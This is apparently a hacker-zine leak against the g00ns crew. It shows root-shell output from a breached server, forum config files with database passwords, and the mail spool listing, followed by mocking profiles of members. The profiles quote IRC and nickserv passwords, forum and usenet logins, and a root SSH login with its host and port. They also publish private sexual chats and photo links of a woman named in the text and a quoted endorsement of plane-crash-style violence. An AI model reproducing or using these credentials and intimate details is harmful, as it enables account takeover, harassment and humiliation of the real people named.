-rw-r--r--  1 sn00g3s sn00g3s      1828 Sep 21  2006 headlinebox.html
-rw-r--r--  1 sn00g3s sn00g3s       529 Feb 21 22:28 .htaccess
drwxr-xr-x  3 sn00g3s root         4096 Dec  6  2003 image
drwxr-xr-x  3 sn00g3s sn00g3s      4096 Aug 18  2007 images
drwxrwxrwx  7 sn00g3s sn00g3s      4096 Jun 19  2007 includes
-rw-r--r--  1 sn00g3s sn00g3s      9001 Dec 13  2006 index1.php
-rw-rw-r--  1 sn00g3s sn00g3s      8885 Jul  8  2007 index.2.php
-rw-r--r--  1 sn00g3s root         6948 Dec 16 11:29 index.bak2
-rw-r--r--  1 sn00g3s sn00g3s      8290 Jul 29  2007 indexbkp.php
-rw-r--r--  1 sn00g3s sn00g3s        42 Jul 17  2007 indexold
-rw-r--r--  1 sn00g3s sn00g3s        42 Jul 17  2007 index.old
-rw-r--r--  1 sn00g3s sn00g3s      7112 Feb  5 13:27 index.php
-rw-r--r--  1 sn00g3s sn00g3s      7927 Aug 11  2007 indexwj.php
-rw-r--r--  1 sn00g3s root           22 Dec 17 23:15 info.php
-rw-r--r--  1 sn00g3s sn00g3s      2109 Apr  3 01:39 irccheck2.php
-rw-r--r--  1 sn00g3s sn00g3s       550 Apr 21 13:24 irccheck.txt
-rw-r--r--  1 sn00g3s sn00g3s      4431 Apr  3 01:39 irc.php
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Sep 21  2006 js
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Mar 31 21:03 kat
-rw-r--r--  1 sn00g3s root          256 Oct 19  2007 lic_req.bin
-rw-r--r--  1 sn00g3s sn00g3s  57368852 Jul 19  2007 linux-grsec-2.6.21.3.tar.gz
-rw-r--r--  1 sn00g3s root    104042878 Aug 13  2007 linux.tar.gz
drwxr-xr-x  3 sn00g3s sn00g3s      4096 Feb 21 22:12 live
-rwxrwxrwx  1 sn00g3s sn00g3s         1 Mar 31 19:01 lollevel.txt
-rw-r--r--  1 sn00g3s sn00g3s       623 Jun 24  2007 members.php
-rw-r--r--  1 sn00g3s root            0 Dec 17 23:14 nano
-rw-r--r--  1 sn00g3s sn00g3s      4402 Apr  1 02:07 offline.png
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Jul 17  2007 oldfiles_july18
-rw-r--r--  1 sn00g3s sn00g3s      4458 Apr  1 02:07 online.png
-rw-r--r--  1 sn00g3s sn00g3s      1609 Aug 12  2007 pics.php
-rw-r--r--  1 sn00g3s sn00g3s      3041 Sep 21  2006 radio.php
-rw-r--r--  1 sn00g3s sn00g3s       148 Aug 11  2007 read.php
-rw-r--r--  1 sn00g3s sn00g3s      1886 Sep 21  2006 rss.html
-rw-r--r--  1 sn00g3s sn00g3s      1715 Aug 11  2007 rss.php
-rw-r--r--  1 sn00g3s sn00g3s       259 Sep 21  2006 sb_javascript.js
drwxr-xr-x  2 sn00g3s root         4096 Dec  6  2003 script
-rw-r--r--  1 sn00g3s root     41162814 Feb  9 20:12 sc_serv.log
----------  1 sn00g3s sn00g3s       615 Jul 18  2007 secnews.php
-rw-r--r--  1 sn00g3s sn00g3s     17544 Aug  6  2007 selector.swf
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Oct  1  2006 shout
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Sep 21  2006 shout1
drwxr-xr-x  3 sn00g3s sn00g3s      4096 Sep 21  2006 shoutcast
----------  1 sn00g3s sn00g3s      6492 Jun 24  2007 site_members.php
d---------  3 sn00g3s sn00g3s      4096 Mar 21 16:26 sn00gadminkthnx99
-rwxr-xr-x  1 sn00g3s sn00g3s        59 Jul  8  2007 sn00gnews.php
-rw-r--r--  1 sn00g3s root        10026 Dec 16 12:33 snow.zip
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Aug  7  2007 spicvbtemp99
-rw-r--r--  1 sn00g3s sn00g3s      3193 Aug 11  2007 stereo.php
drwxr-xr-x  3 sn00g3s sn00g3s      4096 Feb 21 22:06 stream
-rw-r--r--  1 sn00g3s sn00g3s      5390 Dec 15 12:47 style.css
-rw-r--r--  1 sn00g3s sn00g3s      1599 Sep 21  2006 tablebkp.php
-rw-r--r--  1 sn00g3s sn00g3s      1581 Aug  7  2007 table.php
drwxr-xr-x  3 sn00g3s sn00g3s      4096 Aug 18  2007 tag
-rw-r--r--  1 sn00g3s sn00g3s     14837 Aug 11  2007 tag.php
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Jun 24  2007 teamspeakdisplay
-rw-r--r--  1 sn00g3s sn00g3s       616 Jul 18  2007 technews.php
-rw-rw-r--  1 sn00g3s sn00g3s       954 Aug  4  2007 template.tar.gz
drwxr-xr-x  3 sn00g3s root         4096 Dec 16 11:24 themes
-rw-r--r--  1 sn00g3s sn00g3s      2848 Aug  6  2007 title.png
drwxr-xr-x  4 sn00g3s sn00g3s      4096 Feb  8 13:43 tribal
drwxr-xr-x  3 sn00g3s sn00g3s      4096 Sep 21  2006 ts
-rw-r--r--  1 sn00g3s sn00g3s      3682 Aug 11  2007 ts.php
-rw-r--r--  1 sn00g3s root        12033 Jan  6 17:30 udpips
-rw-r--r--  1 sn00g3s sn00g3s     14047 Jul  8  2007 vboutput1.php
-rw-r--r--  1 sn00g3s root      9750649 Oct  6  2007 ZendOptimizer-3.3.0-linux-glibc21-i386.tar.gz
[root@demon2 public_html]# cat /home/sn00g3s/domains/g00ns.net/public_html/includes/config.php

( crap may be removed )

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.4 - Licence Number VBFD1673E2
|| # ---------------------------------------------------------------- # ||
|| # All PHP code in this file is ╘╡000-2007 Jelsoft Enterprises Ltd. # ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

$config['Database']['dbtype'] = 'mysql';

$config['Database']['dbname'] = 'g00ns83_forum';

$config['Database']['tableprefix'] = 'vb3g';

$config['Database']['technicalemail'] = 'admin@g00ns.net';

$config['Database']['force_sql_mode'] = false;

$config['MasterServer']['servername'] = 'localhost';
$config['MasterServer']['port'] = 3306;

$config['MasterServer']['username'] = 'g00ns83_user';
$config['MasterServer']['password'] = 'gotohell09666';

$config['MasterServer']['usepconnect'] = 0;


$config['SlaveServer']['servername'] = '';
$config['SlaveServer']['port'] = 3306;
$config['SlaveServer']['username'] = '';
$config['SlaveServer']['password'] = '';
$config['SlaveServer']['usepconnect'] = 0;

$config['Misc']['admincpdir'] = 'admin1cp';
$config['Misc']['modcpdir'] = 'mod1cp';

$config['Misc']['cookieprefix'] = 'bb';

$config['Misc']['forumpath'] = '';

$config['SpecialUsers']['canviewadminlog'] = '1';

$config['SpecialUsers']['canpruneadminlog'] = '1';

$config['SpecialUsers']['canrunqueries'] = '1';

$config['SpecialUsers']['undeletableusers'] = '1';

$config['SpecialUsers']['superadministrators'] = '1';


$config['Mysqli']['ini_file'] = '';

$config['Misc']['maxwidth'] = 2592;
$config['Misc']['maxheight'] = 1944;

[root@demon2 public_html]# cat /home/sn00g3s/domains/g00ns.net/public_html/config.php
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.4 - Licence Number VBFD1673E2
|| # ---------------------------------------------------------------- # ||
|| # All PHP code in this file is ╘╡000-2007 Jelsoft Enterprises Ltd. # ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

$config['Database']['dbtype'] = 'mysql';

$config['Database']['dbname'] = 'g00ns83_forum';

$config['Database']['tableprefix'] = 'vb3g';

$config['Database']['technicalemail'] = 'admin@g00ns.net';

$config['Database']['force_sql_mode'] = false;


$config['MasterServer']['servername'] = 'g00ns-forum.net';
$config['MasterServer']['port'] = 3306;

$config['MasterServer']['username'] = 'g00ns83_user';
$config['MasterServer']['password'] = 'sm00chy';

$config['MasterServer']['usepconnect'] = 0;

$config['SlaveServer']['servername'] = '';
$config['SlaveServer']['port'] = 3306;
$config['SlaveServer']['username'] = '';
$config['SlaveServer']['password'] = '';
$config['SlaveServer']['usepconnect'] = 0;

$config['Misc']['admincpdir'] = 'admin1cp';
$config['Misc']['modcpdir'] = 'mod1cp';

$config['Misc']['cookieprefix'] = 'bb';

$config['Misc']['forumpath'] = '';

$config['SpecialUsers']['canviewadminlog'] = '1';

$config['SpecialUsers']['canpruneadminlog'] = '1';

$config['SpecialUsers']['canrunqueries'] = '1';

$config['SpecialUsers']['undeletableusers'] = '1';

$config['SpecialUsers']['superadministrators'] = '1';

$config['Mysqli']['ini_file'] = '';

$config['Misc']['maxwidth'] = 2592;
$config['Misc']['maxheight'] = 1944;

[root@demon2 public_html]# cat /home/admin/domains/rst-crew.net/public_html/forum/config.php
<?php
error_reporting(0);
$dbms = 'mysql';
$dbhost = 'localhost';
$dbname = 'rosec_i376joo';
$dbuser = 'rosec_i376joo';
$dbpasswd = 'xBQZgypDSe1l0';
$table_prefix = 'phpbb_';
define('PHPBB_INSTALLED', true);
?>
[root@demon2 public_html]# cd /var/spool/mail
[root@demon2 mail]# ls -al
total 75300
drwxrwxr-x  2 root       mail           4096 Apr 21 14:55 .
drwxr-xr-x 11 root       root           4096 Jul 31  2007 ..
-rw-rw----  1 admin      admin        314211 Sep 19  2007 admin
-rw-rw----  1 alliancedn alliancedn        0 Apr 27  2006 alliancedn
-rw-rw----  1 aosw       aosw        1013473 Oct 18  2007 aosw
-rw-rw----  1 apache     mail           4736 Aug 22  2007 apache
-rw-rw----  1 barnseo    barnseo     1987728 Apr 21 09:59 barnseo
-rw-rw----  1 bored      bored          3487 Jul 18  2007 bored
-rw-rw----  1 churc0     churc0            0 Jun 24  2006 churc0
-rw-rw----  1 connors    connors       17044 Apr  7 11:33 connors
-rw-rw----  1 diradmin   mail          69254 Mar 26 19:13 diradmin
-rw-rw----  1 egg        mail          19916 Apr 14 23:10 egg
-rw-rw----  1 every      every       3317388 Apr 21 14:38 every
-rw-rw----  1 evilcode   evilcode          0 Apr 29  2006 evilcode
-rw-rw----  1 excodeirc  excodeirc         0 Apr 28  2006 excodeirc
-rw-rw----  1 exploiterc exploiterc        0 Apr 27  2006 exploiterc
-rw-rw----  1 felosii    felosii           0 Jun 30  2007 felosii
-rw-rw----  1 g00ns83    mail        9074189 Apr 21 14:49 g00ns83
-rw-rw----  1 g00nsts395 g00nsts395        0 Jun  3  2006 g00nsts395
-rw-rw----  1 grumpy     grumpy       284648 Mar  1 10:51 grumpy
-rw-rw----  1 hthhost    mail         118701 Apr 12 15:26 hthhost
-rw-rw----  1 illmob     illmob            0 Apr 28  2006 illmob
-rw-rw----  1 lost       mail           8398 Mar 27 07:48 lost
-rw-rw----  1 mail       mail           1038 Aug 30  2007 mail
-rw-rw----  1 party      party        182080 Feb 13 07:40 party
-rw-rw----  1 pingyill   pingyill   60510303 Apr 21 14:55 pingyill
-rw-rw----  1 rageserver rageserver        0 Apr 28  2006 rageserver
-rw-rw----  1 robo       robo            554 Jun  1  2007 robo
-rw-------  1 root       root           1765 Feb 10 14:01 root
-rw-rw----  1 sixtyz     mail           4701 Apr 14 08:08 sixtyz
-rw-rw----  1 sn00g3s    sn00g3s           0 Jun  8  2006 sn00g3s
-rw-rw----  1 void       void              0 Jan 18  2007 void

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In any large hacking community there are two kinds of people at the top.

The first is not going anywhere. They are either unskilled (even for that
level) and lucky to be there (probably there through patronage), or they are
just happy with the benefits from being at the top of that level.

The second group is smaller, and contains a couple of people who have the
talent, willingness to learn, dedication and time to move forward. There are
a couple of those at g00ns, and we wish them good luck. Don't settle for being
 at the top of an organization that sells positions on a forum, whose
competitors are The Defaced and The Regime. But you can't just look for the
 next cool hacker website, you dig? Try to find smarter people, and they
will not always advertise.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

It's not over yet kids! Time for profiles!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


// z3r0 //


z3r0 -> nickserv: identify r3xleoP3@Dm3s!!!#&6^

g00ns #private password and skype password: ismokedyoustupid

z3r0 on zf03: What exactly is Zf0 3? it looks like a article about how Zf0
              just goes around owning people.
z3r0 on zf03: HAH the irc logs are a comedy goldmine.

-19:48:59- (z3r0) we will have to introduce you to illwill
-19:49:03- (z3r0) hes our asm guru

-20:02:29- (z3r0) most kiddies cant even run a perl script

-20:08:55- (z3r0) basically our credo is we hate neophytes

-20:16:22- ~ (Psyop) Do you read many zines?
-20:16:27- (z3r0) sometimes
-20:16:28- (z3r0) depends
-20:16:39- (z3r0) i read zf0's

Always good to have fans.


// clorox //


clorox -> nickserv: identify loldongs

"I'm planning on doing some irl raids myself here shortly. I think the target
deserves to be targeted and deserves whatever actions come out of it. I don't
 understand the current direction the raid is taking look if you are going to
 spread documents and call it a raid i think thats rather ridiculous there are
 thousands of other sites that do that already. Words are for Discourse Violence
 is for Change, look its tough to even type this but paper airplanes don't
change anything...they don't they just don't. If you make a paper airplane and
 hand it off to people and try to show them information nothing will change.
What changes things are when airplanes crash into shit and do damage, that is
really all today's world is about; the level of importance is directly related
 to the amount of damage something has done. Don't hand people paper...slam a
 fucking plane into a building and force the shit on them."

What's the moral there, that terrorism is an acceptable and admirable way of
accomplishing your goals? CLOROX IS A TERRORIST WANNABE!!!! Hand the man a turban!

// g00ns is SERIOUS FUCKING BUSINESS
cloroxsecure (2:38:16 AM): if i see someone fucking around with the community
 we are going to expose them
cloroxsecure (2:38:25 AM): you were exposed

clorox -> Depravus: explain to me why g00ns are lame?
Depravus -> clorox: Personal army shit, internet tough guy shit, etc.
clorox -> Depravus: like?
Depravus -> clorox: Like typical 13 year olds that figured out how to use the in
ternet
clorox -> Depravus: first off none of us are 13 years old.... 18+  and most of u
s are older than that... secondly we are not anon we do what we want
Depravus -> clorox: Dude you don't have to be 13 to act like a 13 year old
Depravus -> clorox: You could be 49 for all I care
Depravus -> clorox: And that mentality is why you're lame
Depravus -> clorox: "We do what we want"
clorox -> Depravus: why do you think we act like 13 year olds
Depravus -> clorox: Which gives rise to internet tough guy mentality
clorox -> Depravus: do you not do what you want?
clorox -> Depravus: sorry we've pulled anon out of situations they couldn't handle

clorox -> inky_: $servidor='64.72.117.181' unless $servidor;
clorox -> inky_: my $porta='6667';
clorox -> inky_: my @canais=("#!!g00ns");
clorox -> inky_: my @adms=("br3ttch4nce");

inky_ -> clorox: are any of the 2.6.9 kernels vuln? they seem to be most popular
clorox -> inky_: milw0rm vmsplice

// ZF0 much help, great success!
Genocide -> clorox: i miss #irclogs
Genocide -> clorox: :[
clorox -> Genocide: ditto

Ok the real funny thing about clorox is his relationship with theswellseason (IRC whore).
The entire time they were dating she was flirting with other guys on IRC. The only guy
she didn't flirt with was clorox, who was too busy taking g00ns very fucking seriously!
She sure likes the attention she gets when she shows titties.

tribaL -> sCuZz: homeboys gonna get played like the rest
tribaL -> sCuZz: but you know hes not going to listen
tribaL -> sCuZz: not to me
tribaL -> sCuZz: not to you
tribaL -> sCuZz: not to z3r0

We present to you, the chronological IRC life of theswellseason!

theswellseason -> d0ct0r: my dad, when he found out I'd lost my virginity, started
crying. and I just sat there totally stonefaced because i knew if I said anything,
I'd burst into laughter
d0ct0r -> theswellseason: wtf
theswellseason -> d0ct0r: lol
theswellseason -> d0ct0r: yeah
theswellseason -> d0ct0r: I know
theswellseason -> d0ct0r: my dad is such a pussy sometimes
d0ct0r -> theswellseason: my mom was like
d0ct0r -> theswellseason: 3 years ago
d0ct0r -> theswellseason: 'when you going to pop your cherrry'
d0ct0r -> theswellseason: i was like
d0ct0r -> theswellseason: huh
d0ct0r -> theswellseason: i remember this
theswellseason -> d0ct0r: my parents are really religious though
d0ct0r -> theswellseason: cause i was like, how could i pop...my cheer.y
d0ct0r -> theswellseason: cherry*
theswellseason -> d0ct0r: lol
d0ct0r -> theswellseason: one of my problems is
theswellseason -> d0ct0r: my parents view the whole "sex before marriage" thing as being really bad
d0ct0r -> theswellseason: i like to go for the 0 size jean girls

sCuZz -> theswellseason: im envious of clorox
sCuZz -> theswellseason: and im wanking
theswellseason -> sCuZz: It's sideways, but, observe: http://tinypic.com/view.php?pic=2zrnr7a&s=3
theswellseason -> sCuZz: http://tinypic.com/view.php?pic=2r3b0vp&s=3
theswellseason -> sCuZz: blurry, but somewhat full body
sCuZz -> theswellseason: you have an amazing ass
theswellseason -> sCuZz: I can't believe I'm showing you this
theswellseason -> sCuZz: I'm only adding to the fuel
sCuZz -> theswellseason: i do have to admit its kinda hot
theswellseason -> sCuZz: jesus, clorox is going to have my head for being such a flirt
theswellseason -> sCuZz: why does the g00ns irc server not allow ssl connections?
sCuZz -> theswellseason: stop being sketchy
theswellseason -> sCuZz: dude, clorox just got a webcam
sCuZz -> theswellseason: have you seen his cock?
theswellseason -> sCuZz: no
sCuZz -> theswellseason: and hes seen you nude
sCuZz -> theswellseason: ?
theswellseason -> sCuZz: yeaaaaah
theswellseason -> sCuZz: trust me
theswellseason -> sCuZz: I don't find that fair either
sCuZz -> theswellseason: lol
sCuZz -> theswellseason: what if his cock is like
sCuZz -> theswellseason: 4 inches?
sCuZz -> theswellseason: or hes pushing 5
theswellseason -> sCuZz: er, I'm really fucking tight anyways, so that won't be a big deal
sCuZz -> theswellseason: thats not fair
theswellseason -> sCuZz: what?
sCuZz -> theswellseason: you telling me your tight
theswellseason -> sCuZz: seriously, I don't have big fingers and it's pushing it to get two of my fingers in there.
theswellseason -> sCuZz: lol
theswellseason -> sCuZz: shit
theswellseason -> sCuZz: now I'm just being mean
sCuZz -> theswellseason: wow
sCuZz -> theswellseason: i dont believe that
sCuZz -> theswellseason: :(
theswellseason -> sCuZz: okay
theswellseason -> sCuZz: well, two fit fine
sCuZz -> theswellseason: haha
theswellseason -> sCuZz: but like, I can't put three side-by-side
sCuZz -> theswellseason: thats fucked up
sCuZz -> theswellseason: see
sCuZz -> theswellseason: you do like to tease
sCuZz -> theswellseason: does it hurt to masturbate
theswellseason -> sCuZz: well... no
theswellseason -> sCuZz: you just have to be careful?
theswellseason -> sCuZz: lol, I don't even bother with panties
theswellseason -> sCuZz: I'm just straight nude
sCuZz -> theswellseason: hot
theswellseason -> sCuZz: lol
theswellseason -> sCuZz: clorox is going to kill me for telling you all this lol
theswellseason -> sCuZz: I'll give you noodz if you'll give me cock pics
theswellseason -> sCuZz: so that I can make clorox jealous
sCuZz -> theswellseason: i so know this is a setup
theswellseason -> sCuZz: how so?
sCuZz -> theswellseason: but if it means clorox gets to see my cock
sCuZz -> theswellseason: ill be happy

theswellseason -> vgx: enviesecure@gmail.com
theswellseason -> vgx: I'm dating a g00n
theswellseason -> vgx: I take everything with a grain of salt

botkip -> theswellseason: I wouldn't fuck with botkip if I were you...
people are reading the logs right now // if only you knew

theswellseason -> Ninth_: he was being an ass
theswellseason -> Ninth_: and there was someone else that wanted me to
"run away with him"
theswellseason -> Ninth_: and this other person... idk... was charming
Ninth_ -> theswellseason: work hard, stick with him, honestly, that will mean
so much more than anything else, knowing that you are devoted enough to stay together.
theswellseason -> Ninth_: and I almost wanted to cheat, but like... idk

theswellseason -> sCuZz: I was a whore before I met clorox

theswellseason -> TokyoFox: old pic is old, but: http://tinypic.com/view.php?pic=2zqfonb&s=3
theswellseason -> sCuZz: http://tinypic.com/view.php?pic=jiltkx&s=3
theswellseason -> sCuZz: http://tinypic.com/view.php?pic=35jbc4g&s=3
^ emo hair lol.....

Zombocom -> theswellseason: I love you Emmaleigh
theswellseason -> Zombocom: I'm going to the coffee shop later, I'll talk to you then
theswellseason -> Zombocom: I love you too James

Anonzz -> theswellseason: This is a pic of me and my bitch
Anonzz -> theswellseason: http://farm3.static.flickr.com/2325/2337209376_d57f1c43d4_o.jpg

theswellseason -> Zombocom: Because you are
theswellseason -> Zombocom: you're... just amazing

theswellseason -> Zombocom: what do you mean you misssed me?
theswellseason -> Zombocom: I was gone for all of... five minute?

theswellseason -> ServicesUp: you're in #programming
theswellseason -> ServicesUp: you're a programer?
ServicesUp -> theswellseason: yes

// That might impress theswellseason, but...
ServicesUp -> #programming: is IP based on MAC address?

theswellseason -> Deltantor: you're silly
theswellseason -> Deltantor: they're just tits
Deltantor -> theswellseason: I just like yours a lot >_> they are...perfect

Deltantor -> theswellseason: <theswellseason> http://tinypic.com/view.php?pic=866pl6q&s=1
Deltantor -> theswellseason: <theswellseason> don't go posting that places

theswellseason -> p00h: p00h, clorox could root ANYONE
p00h -> theswellseason: clorox doesnt know about rooting

// keeps calling her babygirl
// gave her a bellavendetta.com user account
theswellseason -> p00h: I think clorox could handle me going on a trip
theswellseason -> p00h: lol
p00h -> theswellseason: lol
theswellseason -> p00h: we're just friends, right?
p00h -> theswellseason: why, what would u say if i ran porn sites

p00h -> theswellseason: u still have the nipple peircings?
theswellseason -> p00h: yep
p00h -> theswellseason: nice
p00h -> theswellseason: they look nice
theswellseason -> p00h: yeop
p00h -> theswellseason: i like the studs
theswellseason -> p00h: lol I like them
p00h -> theswellseason: im sure u have heard this
p00h -> theswellseason: but ur nipples like really hot
p00h -> theswellseason: they are perfect looking
theswellseason -> p00h: I have heard that


// I just can't resist dropping any pm where someone begs someone to be private
theswellseason -> p00h: when the other guy says he loves me, I believe it
theswellseason -> p00h: I'm just scared that if I leave clorox he'll turn g00ns
on me and get them to ruin my life
theswellseason -> p00h: z3r0 has threatened to do so if I hurt clorox
theswellseason -> p00h: that's why you cannot EVER tell him this

theswellseason -> p00h: I'm gonna try and back out peacefully
p00h -> theswellseason: it would be
theswellseason -> p00h: but if he knows it's for another guy, I'm done
p00h -> theswellseason: that would be the safest thing
p00h -> theswellseason: ya
theswellseason -> p00h: so please please please p00h
p00h -> theswellseason: i won't say anything
theswellseason -> p00h: don't tell anyone
p00h -> theswellseason: don't worry

sCuZz -> tribaL: whats the deal with theswellseason?
tribaL -> sCuZz: idk
tribaL -> sCuZz: why
tribaL -> sCuZz: shes dating clorox IRL THO
sCuZz -> tribaL: i know
sCuZz -> tribaL: she tells me shit all the time
sCuZz -> tribaL: and it just seems like shes being an e whore

theswellseason -> p00h: I've fucked a chick before
p00h -> theswellseason: but not with a penis
theswellseason -> p00h: well
theswellseason -> p00h: does a strapon count?
p00h -> theswellseason: no
theswellseason -> p00h: shit

theswellseason -> p00h: that's his IP
p00h -> theswellseason: how do u know
theswellseason -> p00h: because he just visted a page that I had set up specifically to get his IP
theswellseason -> p00h: the only other IP to have visited that page is mine
theswellseason -> p00h: and that's not my IP
p00h -> theswellseason: hehe
theswellseason -> p00h: so it must be his
p00h -> theswellseason: you are such a haxor
theswellseason -> p00h: lol
theswellseason -> p00h: aren't I though?
theswellseason -> p00h: see, I may need to learn, but hell
p00h -> theswellseason: u are a hax0r
p00h -> theswellseason: im proud of u
theswellseason -> p00h: I have a few really useful tricks up my sleeve already

theswellseason -> p00h: whatdya gonna do, p00h?
theswellseason -> p00h: I think you'd get in the room and like, cum prematurely
 from the nervousness of being around a woman like me


And this basically sums it up nicely...

sCuZz -> tribaL: lol she told me that when they broke up
sCuZz -> tribaL: he was like saying he wanted to spend the rest of his life with her


// pr0be //


tribaL -> nickserv: identify h4x0r!
pr0be -> nickserv: identify h4x0r!

For anyone who didn't know, tribaL == pr0be. He was too embarassed to carry on
 under his nick, so he concocted a stupid story and has been living it.

tribaL -> sCuZz: they think im from anonymous
tribaL -> sCuZz: i can't let them know im pr0be ;(

tribaL -> luna: switching from pr0be to tribal because of my dox

One common thread in pr0be's IRC messages is his (emotional) insecurity and jealousy.
Always bitching about someone, like clorox.

~~~~~~~~~~~~~~~~~~~~~~~~

For the past few months, Alot of you have met the new guy tribaL. TribaL and i go
back quite a bit, and he is the most trustworthy individual on the net that i have
met thus far.

The truth is, I have been training a replacement. I have been here for quite some
time, and real life is starting to take over. With that said, it is about the time
that i step down.

I will not join any other crew. g00ns is and will always be my home, and if real life
 slows down perhaps i will be back. Most of you can contact me, but you know i just
 have not been online as much as i used to be anymore.

Respect tribaL, he is one crazy motherfucker.

Later guys

oh, and i aint gay.


~~~~~~~~~~~~~~~

g00ns.net motd

God i'm going to miss this place so fucking much.
Just remember, Things aren't like they used to be. For the most part,
you are on your own. Watch your own ass, and do what you have to, to
protect it. Even if g00ns were to end tomarrow, Nobody will ever be able
to break our spirit. Nobody will ever be able to tell us we didn't own
the internet. Watch out bro, And its never too late to get out while
your ahead. People will listen to you - You have a good head on your
shoulders. Maybe down the road we will start over, With all of the
knowledge of our mistakes the first time. This isn't the end. Whoever
attacks may win the battle, But they will never win the war. If g00ns
shuts down, Its not the end. We still have our cliche- our group of guys
that we will hang out with. We are smarter when it comes to getting shit
done and not getting caught. We will prevail. You know if you need
anything, i'll help you to my fullest extent. You're my homie.

Walk light, And keep your head on a swivel. Most of the people out here
are snakes.

- [g00n] motherfucking pr0be

~~~~~~~~~~~~

pr0be temporary h4cky0u forum pass (probably changed by now)  164187e6

// z3r0 sticks it to pr0be
I was^H^H^Ham sorry to inform you that because of your
^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^Hthat since you have been messing
 with our staff I will have to let you go. I'm soor^H^Hrry but you have to
 go. We do not want to^H^Hyou in the com^Hmmunity anymore.

pr0be bearshare: polxx/104diam

loSt -> tribaL: riot wants me to give him ops in g00ns chan again
loSt -> tribaL: should i?
tribaL -> loSt: no
tribaL -> loSt: just ignore it
loSt -> Riot: ill talk to tribal and see if im allowed to ops you
Riot -> tribaL: can i get my goddamn ops. or at least voice.
Riot -> tribaL: Dude, am I ever getting my ops back and shit
tribaL -> Riot: stop
tribaL -> Riot: socialing me
tribaL -> Riot: dude
tribaL -> Riot: why
tribaL -> Riot: are y
tribaL -> Riot: ou
tribaL -> Riot: trying
tribaL -> Riot: to social me
Riot -> tribaL: ...
Riot -> tribaL: No
Riot -> tribaL: like I'm pissed as fuck
tribaL -> Riot: socialed
Riot -> tribaL: For real are you all just going to keep being cocksuckers
Riot -> tribaL: or what
Riot -> tribaL: because z3r0 goes and tells jon
Riot -> tribaL: that I told g00ns he's been giving people up  <--- this is true, z3r0 is an informant. No joke.
tribaL -> Riot: idonno
Riot -> tribaL: Like its some fucking bullshit
tribaL -> Riot: im just smoking
Riot -> tribaL: and i'm steps away from fucking walking bro.
tribaL -> Riot: and trying to hack f bis
Riot -> tribaL: I put my trust fucking time and again into g00ns
Riot -> tribaL: and you fuckers just throw it back in my fucking face dude.
tribaL -> Riot: i can imagine

tribaL -> inky_: 158.36.71.34
tribaL -> inky_: SSH port 3785
tribaL -> inky_: User: root
tribaL -> inky_: Pass: zr0mg123
tribaL -> inky_: dont tell anybody i gave it to you

# Talking to yourself is not safe, ZF0 can hear you.

tribal -> tribal: clorox sucks cock

tribal -> tribal: a59 sucks cock

# he keeps bumming money off people, it's pathetic
tribaL -> loSt: got 10 bucks i canborrow
loSt -> tribaL: nah man
tribaL -> loSt: feck

FuRY -> tribaL: cause z3r0 and clorox are running with there reputations....
FuRY -> tribaL: they havent done anything in years
FuRY -> tribaL: lol
tribaL -> FuRY: i have to teach clorox shit
FuRY -> tribaL: :\
tribaL -> FuRY: z3r0
tribaL -> FuRY: im not going to sell him out
FuRY -> tribaL: is dead
FuRY -> tribaL: :P
tribaL -> FuRY: but lets just say his strong points are in what they teach in networking class

core -> tribal: yo
tribal -> core: yo
core -> tribal: i have one you can use
core -> tribal: not mine though
tribal -> core: i will suck yourfucking edick
core -> tribal: user: jojoman112
core -> tribal: pw: syense1
tribal -> core: omfg
tribal -> core: ty

tribal -> sCuZz: i started a new irc
tribal -> sCuZz: for the people we choose
tribal -> sCuZz: its a private irc
tribal -> sCuZz: p.60z.org
tribal -> sCuZz: connect there
sCuZz -> tribal: i thought i had one set :/
tribal -> sCuZz: your opper is !beanerl0ve!


// sCuZz //


sCuZz -> nickserv: identify HsNS3Sksd%SmfjuuAxT

disruptiv -> sCuZz: u dont think somebody has this ircd rewted riht now
disruptiv -> sCuZz: somebody is sniffin somebodys shit
disruptiv -> sCuZz: all the time

Welcome to sn00g Forums
Username: geezus
Password: nukes77g1

acircle.us forums
Username: sCuZz
Password: nukes77g2


// spl0iT //


spl0iT -> nickserv: identify bejtm540

// spl0it goes to daddy clorox for hacking help
spl0iT -> clorox: www.scorpiontek.org

// Mr. Tough Guy
spl0iT -> d0ct0r: said he doesn't know why he was targetted and was
wondering what type of sick game it was
spl0iT -> d0ct0r: i told him it was a harsh lesson in security
spl0iT -> d0ct0r: we are the g00ns
spl0iT -> d0ct0r: expect us

spl0iT -> d0ct0r: Yes, we were hacked. By #[7m<80><9C>we#[7m<80><9D> I mean me,
 Aaron, and our podcast - which are all hosted on the same server. I#[7m<80><99>m
 not gonna post a link to the site that supposedly hacked us just because it#[7m<80><99>s b
ad taste. Why we were hacked? I don#[7m<80><99>t know.

loSt -> spl0iT: d0ct0r is on 24/7 and refuses to learn
loSt -> spl0iT: he even takes highschool from home
loSt -> sCuZz: im turning spl0it right now

spl0iT -> tribaL: what's the command to exit nano

spl0iT -> tribaL: i used putty to connect

spl0it
Your login is: p10067292
Your password is: 4g50y11x
NNTP Address/News Server: europe.newsdemon.com, useast.newsdemon.com

Welcome to sn00g Forums
Username: spl0iT
Password: TheTaCSS74


// loSt //


loSt's thing is that he'll do anything to move up in g00ns,
